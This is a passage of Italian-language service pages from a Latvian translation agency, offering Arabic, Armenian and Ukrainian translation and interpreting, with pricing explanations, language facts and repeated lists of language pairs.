Applicate di Vidzeme collaborano con gli istituti di istruzione superiore della Slovenia. Anche l'Accademia lettone delle Scienze e l'Accademia slovena delle Scienze sono in contatto fra loro. Inoltre, le due nazioni collaborano regolarmente del campo della cultura: diversi scrittori sloveni hanno soggiornato nella Casa degli Scrittori Internazionali e Traduttori di Ventspils (Lenart Zajc, Damijan Šinigoj, Maja Gal Štromar e Gašper Malej). Sono state organizzate diverse esposizioni di artisti sloveni e concerti, i quali hanno visto la partecipazione di musicisti sloveni e lettoni. I due paesi cooperano anche nell’ambito del traffico e della difesa. I soldati sloveni hanno anche iniziato l’addestramento nelle unità di combattimento delle forze armate. È interessante notare anche il fatto che, date le difficoltà sorte nell’era digitale per le lingue con pochi parlanti, ricercatori lettoni e sloveni, in presenza dei presidenti delle rispettive nazioni, il 28 settembre 2021 hanno firmato un accordo d’importanza nazionale riguardante la cooperazione nel campo delle tecnologie linguistiche. In questo modo, mediante lo scambio di esperienze, di conoscenza, di tecnologie e mediante la partecipazione in progetti di ricerca congiunti, si rafforzerà la cooperazione tra la lingua slovena e lettone nel mondo digitale. Dal 28 agosto 2017 l'Ambasciata di Polonia rappresenta la Slovenia in Lettonia. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO LO SLOVENO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a sloveno; da sloveno a lettone; da estone a sloveno; da sloveno a estone; da lituano a sloveno; da sloveno a lituano; da russo a sloveno; da sloveno a russo; da ceco a sloveno; da sloveno a ceco; da polacco a sloveno; da sloveno a polacco; da ucraino a sloveno; da sloveno a ucraino; da sloveno a spagnolo; da spagnolo a sloveno; da tedesco a sloveno; da sloveno a tedesco; da Italiano a sloveno; da sloveno a italiano; da francese a sloveno; da sloveno a francese; da danese a sloveno; da sloveno a danese; da norvegese a sloveno; da sloveno a norvegese; da svedese a sloveno; da sloveno a svedese; da finlandese a sloveno; da sloveno a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO LO SLOVENO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a sloveno; da sloveno a lettone; da estone a sloveno; da sloveno a estone; da lituano a sloveno; da sloveno a lituano; da russo a sloveno; da sloveno a russo; da ceco a sloveno; da sloveno a ceco; da polacco a sloveno; da sloveno a polacco; da ucraino a sloveno; da sloveno a ucraino; da sloveno a spagnolo; da spagnolo a sloveno; da tedesco a sloveno; da sloveno a tedesco; da Italiano a sloveno; da sloveno a italiano; da francese a sloveno; da sloveno a francese; da danese a sloveno; da sloveno a danese; da norvegese a sloveno; da sloveno a norvegese; da svedese a sloveno; da sloveno a svedese; da finlandese a sloveno; da sloveno a finlandese, ma anche altre combinazioni. --- > Traduzioni generali e specialistiche in lingua araba. Interpreti di arabo, corsi individuali di lingua araba. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’ARABO QUANTO COSTANO LE TRADUZIONI DA E VERSO L’ARABO? Il prezzo viene calcolato singolarmente per ogni ordine poiché dipende da diversi fattori importanti: il termine di consegna del lavoro, le caratteristiche del settore, la disponibilità della terminologia, l’elaborazione, il servizio di correzione di bozze, la formattazione di disegni, immagini e grafici, come anche altri servizi richiesti dal cliente (certificazione notarile, ecc. ). È DISPONIBILE IL LISTINO PREZZI? Naturalmente, il listino prezzi per i servizi di traduzione, interpretazione, localizzazione e adattamento da e verso l’arabo è parte integrante dell’accordo di collaborazione che stipuliamo con i nostri clienti. Prima di iniziare il progetto di traduzione, project manager di Skrivanek preparano sempre informazioni dettagliate sul prezzo dell’ordine. Il costo è diverso per ogni progetto ed è calcolato sulla base del listino prezzi corrente di Skrivanek, il quale tiene conto, tra gli altri, del numero di parole nel testo di partenza e delle ripetizioni. Volete sapere quanto costa tradurre i vostri documenti? Mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il arabo? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua araba: Traduzione di documenti in arabo Interpretazione simultanea in arabo Validazione linguistica di traduzioni in arabo Interpretazione consecutiva in arabo Trascrizione in arabo Grafica e composizione tipografica in arabo Servizi di voice over e di sottotitolaggio in arabo Servizi di selezione di staff arabo Marketing multiculturale in arabo Gestione di documenti in arabo Servizi di deposizione in arabo Servizi di data room virtuali in arabo Supporto per l'e-learning in arabo Cercate un servizio linguistico in arabo? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA ARABA L'arabo è la lingua sacra dell'Islam. Essa non è solo la lingua in cui è stato scritto il Corano, ma è anche la lingua ancora oggi utilizzata per la maggior parte dei rituali religiosi musulmani. Inoltre, per oltre 1300 anni è stata utilizzata come lingua franca dell'élite intellettuale musulmana. In termini di parlanti, l'arabo è la lingua più grande della famiglia semitica. Oggi la lingua araba ha molti dialetti e sottodialetti, i quali sono tradizionalmente divisi nel gruppo dei dialetti orientali e in quello dei dialetti occidentali. Ad esempio, alcuni dei dialetti orientali più comuni sono quello egiziano, quello siriaco e quello iracheno. Tra i dialetti occidentali invece, spiccano quello nordafricano, magrebino e hassaniyya. La lingua letteraria araba moderna non è mai cambiata dal VII secolo. È utilizzata a scuola, si legge, si scrive, ma non si usa per parlare. Essa è inoltre la lingua principale dei media. Nella comunicazione quotidiana, sono invece utilizzati i dialetti. Essi sono così diversi gli uni con gli altri che abitanti di diverse nazioni sono spesso costretti ad utilizzare l’arabo letterario imparato a scuola per comunicare fra loro Inoltre, è importante notare che i dialetti arabi non hanno forma scritta. Nel medioevo, l’arabo era la lingua culturale principale, specialmente in ambiti come la matematica, l’astronomia e la filosofia. Di conseguenza, le lingue europee hanno molti prestiti provenienti dall'arabo. Nel mondo islamico, la calligrafia è ancora considerata molto importante; è una delle principali forme d'arte. Di fatti, dato che i fondamenti dell’Islam vietano la rappresentazione di esseri viventi, il calligramma è una delle principali forme di espressione artistica possibili. Inoltre, sono molte le scoperte fatte dai cinesi e da altri popoli che, nel medioevo, raggiunsero l’Europa principalmente grazie a mercanti arabi. Ad esempio, furono i mercanti arabi a portare la bussola dalla Cina all’Europa. Essa fu utilizzata nel XII secolo per navigare nel Mar Mediterraneo. Per di più, sempre nel XII secolo, mercanti arabi ed ebrei portarono dalla Cina in Spagna l’arte della fabbricazione della carta. L'arabo è una delle sei lingue ufficiali delle Nazioni Unite. L'ALFABETO ARABO La lingua araba è una delle lingue più difficili al mondo. Essa è scritta con l'alfabeto arabo, il quale affonda le sue radici nella scrittura aramaica. Inoltre, come in altri alfabeti semitici, si scrive da sinistra a destra. Esistono anche diversi stili di scrittura, il più popolare dei quali è quello utilizzato dalle case editrici e per scrivere le sceneggiature. L’alfabeto arabo è composto da 28 lettere, le quali rappresentano consonanti e vocali lunghe. A seconda della posizione della lettera, all’inizio, al centro o alla fine della parola, oppure se si trova da sola, essa può essere scritta in 4 modi diversi. Che siano scritte a mano o al computer, tutte le lettere sono scritte in corsivo. In questo modo, nelle parole ogni lettera si fonde con quella successiva. Inoltre, non si fa distinzione tra lettere maiuscole e minuscole. La scrittura araba si stabilzzò nell’VIII. Dopodiché sono nati diversi stili di scrittura, come ad esempio quello usato per libri e altre opere scritte. DOVE E IN QUANTI PARLANO ARABO? L'arabo è la seconda lingua più parlata al mondo. È la lingua madre di circa 300 milioni di persone, le quali vivono in aree che vanno dall'Asia occidentale al Nord Africa e dal Golfo Persico all'Oceano Atlantico. È possibile comunicare in arabo in gran parte del Nord Africa e in Arabia Saudita. È parlato dalla maggioranza assoluta della popolazione di Emirati Arabi Uniti, Kuwait, Qatar, Bahrein, Oman, Yemen, Giordania, Siria, Iraq, Libano, Egitto, Libia, Algeria, Tunisia, Marocco, Mauritania e territori palestinesi, e dalla maggioranza della popolazione sudanese; significative minoranze arabe vivono in Israele, Iran (Khuzestan), Tanzania (Zanzibar), Turchia (Mardin), Gibuti; tra i Paesi europei, Francia, Spagna e Regno Unito. L'arabo è la seconda lingua ufficiale in Ciad, Gibuti, Somalia e nelle Isole Comore. I NOSTRI INTERPRETI E TRADUTTORI DI ARABO Sono più di 25 anni che l'agenzia di traduzione Skrivanek opera nel mercato dei servizi linguistici in Lettonia e nei Paesi Baltici. Il nostro team di traduttori professionisti, interpreti e linguisti sarà sempre pronto ad aiutarvi nel caso in cui abbiate bisogno della traduzione scritta di documenti standard, di traduzioni certificate da un notaio e di servizi di interpretazione in occasione di udienze in tribunale o di importanti trattative commerciali. Skrivanek si occupa anche della correzione di bozze e del miglioramento stilistico dei testi in lingua araba, ma anche della revisione e del controllo terminologico, se necessario. I nostri esperti di lingua araba vi informeranno con piacere sulle differenze culturali, sul comportamento da tenere in ambito commerciale, sulla storia e sulle caratteristiche culturali specifiche della regione o nazione araba di vostro interesse. Più spesso, le aziende nostre clienti ci richiedono traduzioni da/verso l'arabo di documentazione tecnica, di sentenze, di contenuti per l'e-commerce e di siti web, ma anche servizi di adattamento e di localizzazione. Per i privati, eseguiamo traduzioni di sentenze, di documenti di riconoscimento, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, ecc. L’ARABO NEL COMMERCIO Gli arabi sono storicamente famosi nel mondo come mercanti dediti e di successo. Nell’VIII secolo essi erano già promotori del commercio internazionale e dello scambio di risorse naturali e di tesori culturali con Cina, India ed Europa. Con il passare degli anni, questo popolo non ha perso queste competenze e il mondo degli affari arabo rappresenta un’opzione interessante per tutti gli imprenditori. In esso sono infatti presenti grandi opportunità commerciali e risorse. Sono quindi sempre di più le aziende che danno valore agli impiegati che parlano arabo, dato che rendono molto più facile la collaborazione con eventuali partner commerciali. Ogni arabo apprezzerà uno straniero che conosce almeno l'arabo di base. LA LINGUA ARABA IN LETTONIA Negli ultimi anni, in Lettonia l’interesse verso lo studio della lingua e cultura araba è cresciuto molto, anche grazie ai processi politici ed economici che hanno avuto luogo nella nazione baltica e a livello globale, ma anche grazie alle molteplici opportunità di viaggio. Tuttavia, in Lettonia c’è ancora una carenza di professionisti e traduttori di lingua araba. Sono quindi pochi gli specialisti capaci di fornire supporto linguistico ai richiedenti asilo e agli stranieri in difficoltà poiché in grado di parlare solamente arabo, ma c’è carenza anche di professionisti che forniscono servizi linguistici in tribunale e in ambito commerciale. Sono sempre di più infatti gli imprenditori lettoni interessati alle opportunità commerciali offerte dalle nazioni orientali, dove vorrebbero portare le loro soluzioni tecnologiche di alta qualità e i loro servizi innovativi. Studia la lingua e la cultura araba presso l'Università della Lettonia ─ leggi qui il programma di studio. Il Centro di cultura araba opera anche in Lettonia e sono sempre di più le scuole di lingua che offrono corsi di lingua araba sia per principianti che per coloro con conoscenze pregresse della lingua. Studiando l’arabo, gli studenti possono anche imparare la storia e la cultura della lingua, ma anche altre affascinanti informazioni sul mondo arabo. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ARABO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone all'arabo; dall'arabo al lettone; dall'estone all'arabo; dall'arabo all'estone; dal lituano all'arabo; dall'arabo al lituano; dal russo all'arabo; dal ceco all'arabo; dal polacco all'arabo; dall'arabo al polacco; dall'ucraino all'arabo; dall'arabo allo spagnolo; dallo spagnolo all'arabo; Tedesco in arabo; arabo in tedesco; italiano in arabo; arabo in italiano; francese in arabo; arabo in francese; danese in arabo; arabo in danese; norvegese in arabo; arabo in norvegese; svedese in svedese; finlandese in arabo; arabo in finlandese, inglese in arabo; arabo in inglese e altri. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ARABO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Dal lettone all'arabo; dall'arabo al lettone; dall'estone all'arabo; dall'arabo all'estone; dal lituano all'arabo; dall'arabo al lituano; dal russo all'arabo; dal ceco all'arabo; dal polacco all'arabo; dall'arabo al polacco; dall'ucraino all'arabo; dall'arabo allo spagnolo; dallo spagnolo all'arabo; Tedesco in arabo; arabo in tedesco; italiano in arabo; arabo in italiano; francese in arabo; arabo in francese; danese in arabo; arabo in danese; norvegese in arabo; arabo in norvegese; svedese in svedese; finlandese in arabo; arabo in finlandese, inglese in arabo; arabo in inglese e altri. --- > Traduzioni generali e specialistiche in lingua armena. Servizi di interpretazione e altre soluzioni in lingua armena. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/ - Translation Priorities: Optional TRADUZIONI IN ARMENO QUANTO COSTANO LE TRADUZIONI DA E VERSO L’ARMENO? Il prezzo varia di ordine in ordine e dipende da diversi fattori: il termine di consegna della traduzione, le caratteristiche del testo, la correzione di bozze, la formattazione, nonché i servizi aggiuntivi richiesti dal cliente, come la certificazione notarile. È DISPONIBILE IL LISTINO PREZZI? Sì, il listino prezzi dei servizi di traduzione da/verso l’armeno è parte integrante del contratto che stipuliamo con i nostri clienti, i quali vengono sempre informati sul prezzo del servizio prima dell’inizio di ogni progetto di traduzione. Il costo di ogni traduzione varia a seconda di diversi fattori: le sue caratteristiche (traduzione scritta o interpretazione), il numero delle parole e di ripetizioni nel testo di partenza, ma anche altri parametri. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso l’armeno? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua armena: Traduzione di documenti in armeno Interpretazione simultanea in armeno Validazione linguistica di traduzioni in armeno Interpretazione consecutiva in armeno Trascrizione in armeno Grafica e composizione tipografica in armeno Servizi di voice over e di sottotitolaggio in armeno Servizi di selezione di staff armeno Marketing multiculturale in armeno Gestione di documenti in armeno Servizi di deposizione in armeno Servizi di data room virtuali in armeno Supporto per l'e-learning in armeno Cercate un servizio linguistico in armeno? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole QUALCHE FATTO SULLA LINGUA ARMENA L’armeno è una lingua indoeuropea che attualmente conta 8 milioni di persone nel mondo. Essa è la lingua nazionale dell'Armenia e del Nagorno-Karabakh, ma è la lingua madre anche di comunità in Siria, Libano, Iran, Iraq, Turchia, Giordania, Israele, Cipro e in altri paesi. Fino al 1990, nelle scuole armene l’istruzione veniva erogata in russo e in armeno. Tuttavia, dopo la caduta dell’URSS, quest’ultimo prese il sopravvento e tutte le scuole in cui gli insegnamenti venivano impartiti in russo furono chiuse. L’istruzione in lingua russa fu rispristinata nel 2010. Sono pochi i reperti storici risalenti alla nascita dell’armeno: le uniche testimonianze arrivate fino a noi risalgono al VI secolo a. C. Le prime attestazioni di lingua scritta sono datate invece al V secolo, periodo in cui fu creato l’alfabeto armeno. Tradizionalmente, si individuano tre periodi di sviluppo della lingua armena: il periodo che va dal V all’XII secolo, in cui si sviluppa l’antica lingua armena scritta; il periodo che va dal XII al XVI secolo, ossia il periodo dello sviluppo della lingua armena media; il periodo dell’armeno moderno, iniziato nel XVII secolo e che continua tutt’ora. Le forme generalmente accettate di armeno sono due: armeno orientale e occidentale. L'armeno orientale si è sviluppato sulla base del dialetto della pianura di Ararat ed è parlato in Armenia, Nagorno-Karabakh, Georgia e Iran. L’armeno occidentale si è sviluppato invece sulla base del dialetto di Costantinopoli e della Crimea ed è parlato dalla diaspora armena. Quest’ultimo è anche la lingua dell’istruzione e dei media. In armeno, l'accento si trova solitamente sull'ultima sillaba. È interessante notare il fatto che la lingua non ha la categoria grammaticale del genere e il femminile viene espresso aggiungendo una desinenza alla parola. Inoltre, l’apprendimento della lingua è reso ancora più complicato dal fatto che alla fine della frase si usano i due punti al posto del punto fermo e quest’ultimo al posto della virgola. Per di più, molti suoni dell'armeno non esistono in nessun'altra lingua del mondo. A livello grammaticale, l’armeno occidentale ed orientale presentano delle piccole differenze. In più, anche i sistemi fonologici delle due varianti letterarie non sono esattamente uguali, così che può accadere che la stessa parola abbia pronunce diverse. L'armeno conta circa 60 dialetti. Oggi i gruppi dialettali più diffusi sono il dialetto di Ararat, che è un dialetto dell’armeno orientale e il dialetto dell'Anatolia, che è invece un dialetto dell’armeno occidentale. A parte i musulmani Hemşin in Turchia e parte degli armeni stanziati nel Caucaso settentrionale, nelle interazioni tra individui che non parlano lo stesso dialetto, in contesto lavorativo, scolastico e commerciale, sono utilizzate una delle due varianti letterarie di armeno. L'ALFABETO ARMENO Lo sviluppo dell'alfabeto armeno è ancora oggi un evento unico nella storia della linguistica mondiale. Esso è composto da 39 lettere, le quali rappresentano 36 suoni ed è uno degli alfabeti più ricchi del mondo. Di queste 39 lettere, 7 sono vocali, 29 consonanti e 3 sono lettere aggiuntive che, solitamente, rappresentano suoni composti. Inoltre, le lettere sono utilizzate anche per i numeri. Questo alfabeto fu creato nel 405 dal monaco, teologo e linguista armeno Mesrop Mashtots su richiesta del sovrano armeno dell’epoca Vramshapuh alla fine del IV secolo. In precedenza, era utilizzata la scrittura cuneiforme. Tuttavia, l’ecclesiastico armeno pensò che essa non fosse adatta per scrivere testi religiosi. Mashtots si recò quindi ad Alessandria dove studiò le basi della scrittura e giunse alla conclusione che l'alfabeto greco era quello più adatto per fare da base per quello armeno. Lo usò quindi come campione per creare il nuovo alfabeto e, al suo ritorno in Armenia nel 405, lo mostrò al sovrano. Già nello stesso anno esso fu riconosciuto come ufficiale e fu poi utilizzato per una nuova traduzione della Bibbia. Poco dopo, fu utilizzato anche per altre opere letterarie. L’alfabeto armeno antico è ancora oggi utilizzato nella lingua armena orientala e in quella occidentale. Anche se con qualche variazione e nonostante i suoni delle due lingue siano leggermente differenti, esse utilizzano lo stesso numero di grafemi. È significativo il fatto che in tutto questo tempo non ci siano stati cambiamenti sostanziali. Nel 2005 tutti gli armeni hanno festeggiato i 1600 anni dell'alfabeto armeno, uno dei più antichi al mondo. In onore di questa significativa ricorrenza, nel lato est del monte Argat fu eretto un monumento unico nel suo genere: le 39 lettere dell’alfabeto armeno. DOVE E IN QUANTI PARLANO ARMENO? Sono circa 8 milioni i parlanti di armeno nel mondo, 3 milioni dei quali vivono in Armenia, mentre i restanti in Russia, Georgia, Ucraina, Medio oriente e in Europa sud-orientale, come ad esempio in Bulgaria, Romania e in Grecia. Inoltre, una delle maggiori comunità armene all’estero è quella che si trova in Francia. Questo popolo è presente anche in Nord America, dove ha iniziato a migrare attorno al XIX secolo. Oggi sono circa 2 milioni coloro che si trovano negli Stati Uniti e in Canada e che considerano l'armeno la loro lingua madre. Negli anni '90, dopo il conflitto del Nagorno-Karabakh e in seguito alla crisi finanziaria, il numero di migranti armeni negli Stati baltici è cresciuto. Sono circa 4. 000 gli armeni che vivono in Lettonia. La Chiesa apostolica armena di San Gregorio l'Illuminatore si trova a Riga. QUANTO È DIFFICILE L'ARMENO? Considerando il fatto che l’armeno è una delle lingue più antiche del mondo e che utilizza un alfabeto con 17 secoli di storia che non condivide con nessun altra lingua, il suo apprendimento è alquanto complesso. Questa lingua è unica nel suo genere ed è proprio per questo che saranno necessari circa 5 anni di studio intenso per diventare fluenti. Ma questo naturalmente varia da persona a persona. Molti esperti di linguistica sottolineano il fatto che il modo più efficace di imparare una lingua è quello di passare del tempo in una nazione dove essa è parlata da praticamente chiunque. È un'opportunità per usare la lingua e impararla attraverso la storia, le tradizioni e la cultura. Oggigiorno, chi vuole imparare l’armeno lo fa principalmente per la sua unicità, per l’alone mistico attorno questo a popolo e per la sua storia e tradizioni. I NOSTRI INTERPRETI E TRADUTTORI DI ARMENO L'agenzia di traduzione Skrivanek si occupa della traduzione di documenti e testi in armeno di varia natura sia per privati che per aziende. Le traduzioni sono svolte da traduttori con molti anni di esperienza nel settore, nonché con conoscenza professionale dell’ambito del testo di partenza. Tutte le traduzioni sono eseguite in conformità allo standard di gestione dei servizi di traduzione ISO 17100:2015. I nostri correttori di bozze armeni si occuperanno anche del miglioramento stilistico e della revisione del testo. A seconda dei bisogni dei nostri clienti, forniamo traduzioni standard di testi di carattere commerciale, come anche traduzioni certificate da un notaio, le quali sono firmate da un traduttore armeno professionista e da un notaio. Ci occupiamo inoltre della traduzione da e verso l’armeno di documentazione tecnica, di pagine web, di contratti e di traduzioni per l’e-commerce. Soddisferemo le richieste di ogni cliente trovando la migliore soluzione e linguista specializzato possibile. Per i privati, forniamo traduzioni scritte di documenti personali, certificati di matrimonio, certificati relativi all’istruzione o alla formazione, e altre tipologie di documenti. Offriamo anche servizi di interpretariato da o verso l'armeno, ad esempio in occasione di matrimoni. I traduttori di armeno di Skrivanek saranno sempre a disposizione per aiutarvi nel caso in cui abbiate bisogno di servizi di interpretazione in tribunale o in importanti incontri di lavoro. L’ARMENO NEL COMMERCIO L’armeno è la lingua commerciale principale solo in Armenia. Questa è la lingua della comunicazione quotidiana per il 98% degli armeni, mentre per la comunicazione in ambito commerciale con i partner stranieri sono utilizzate l’inglese e il russo. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ARMENO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Lettone a armeno; armeno a lettone; estone a armeno; armeno a estone; lituano a armeno; armeno a lituano; russo a armeno; armeno a russo; ceco a armeno; armeno a ceco; polacco a armeno; armeno a polacco; ucraino a armeno; armeno a ucraino; armeno a spagnolo; spagnolo a armeno; tedesco a armeno; armeno a tedesco; italiano a armeno; armeno a italiano; francese a armeno; armeno a francese; danese a armeno; armeno a danese; norvegese a armeno; armeno a norvegese; svedese a armeno; armeno a svedese; finlandese a armeno; armeno a finlandese, inglese a armeno; armeno a inglese e altri. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO L’ARMENO: traduzioni generalie specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Lettone a armeno; armeno a lettone; estone a armeno; armeno a estone; lituano a armeno; armeno a lituano; russo a armeno; armeno a russo; ceco a armeno; armeno a ceco; polacco a armeno; armeno a polacco; ucraino a armeno; armeno a ucraino; armeno a spagnolo; spagnolo a armeno; tedesco a armeno; armeno a tedesco; italiano a armeno; armeno a italiano; francese a armeno; armeno a francese; danese a armeno; armeno a danese; norvegese a armeno; armeno a norvegese; svedese a armeno; armeno a svedese; finlandese a armeno; armeno a finlandese, inglese a armeno; armeno a inglese e altri. --- > Traduzioni generali e specializzate, traduzioni notarili, interpretazione e altri servizi linguistici in lingua ucraina. - Published: 2023-12-19 - Modified: 2025-07-07 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO L’UCRAINO QUANTO COSTANO LE TRADUZIONI DA E VERSO L’UCRAINO? Il costo di ogni traduzione da/verso l’ucraino è definito volta per volta e varia a seconda di diversi fattori: il volume del materiale da tradurre, le scadenze, le specificità del contenuto, le ripetizioni, le caratteristiche grafiche, la formattazione del testo, la revisione, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI? Naturalmente. Una volta inviatoci per email il materiale, saremo in grado di determinare il prezzo esatto della traduzione. Prima di iniziare il progetto, i nostri project manager vi contatteranno per informarvi sui costi della traduzione. Essi sono definiti all’interno del listino prezzi in vigore di Skrivanek, il quale tiene conto del numero delle parole, delle ripetizioni e di altri parametri. Garantiamo la massima riservatezza e ci prendiamo la piena responsabilità della qualità e del completamento di ogni progetto, indipendentemente dalle sue dimensione o livello di difficoltà. Avete bisogno di un servizio di traduzione da/verso lo ucraino? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua ucraina: Traduzione di documenti in ucraino Interpretazione simultanea in ucraino Validazione linguistica di traduzioni in ucraino Interpretazione consecutiva in ucraino Trascrizione in ucraino Grafica e composizione tipografica in ucraino Servizi di voice over e di sottotitolaggio in ucraino Servizi di selezione di staff ucraino Marketing multiculturale in ucraino Gestione di documenti in ucraino Servizi di deposizione in ucraino Servizi di data room virtuali in ucraino Supporto per l'e-learning in ucraino Cercate un servizio linguistico in ucraino? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA UCRAINA La lingua ucraina in ucraino: украї́нська мо́ва, in alfabeto latino: ukrainska mova), storicamente chiamata anche ruteno, è una lingua slava appartenente alla famiglia delle lingue indoeuropee. Essa è la lingua ufficiale in Ucraina, nonché una delle lingue ufficiali della Repubblica Moldava della Transnistria. La maggior parte dei parlanti di ucraino vive in Ucraina e, contando con circa 45 milioni di parlanti, questa lingua è la seconda o la terza lingua slava più diffusa dopo il russo e il polacco. L’ucraino usa l’alfabeto cirillico. Lingue simili all'ucraino sono il russino, che 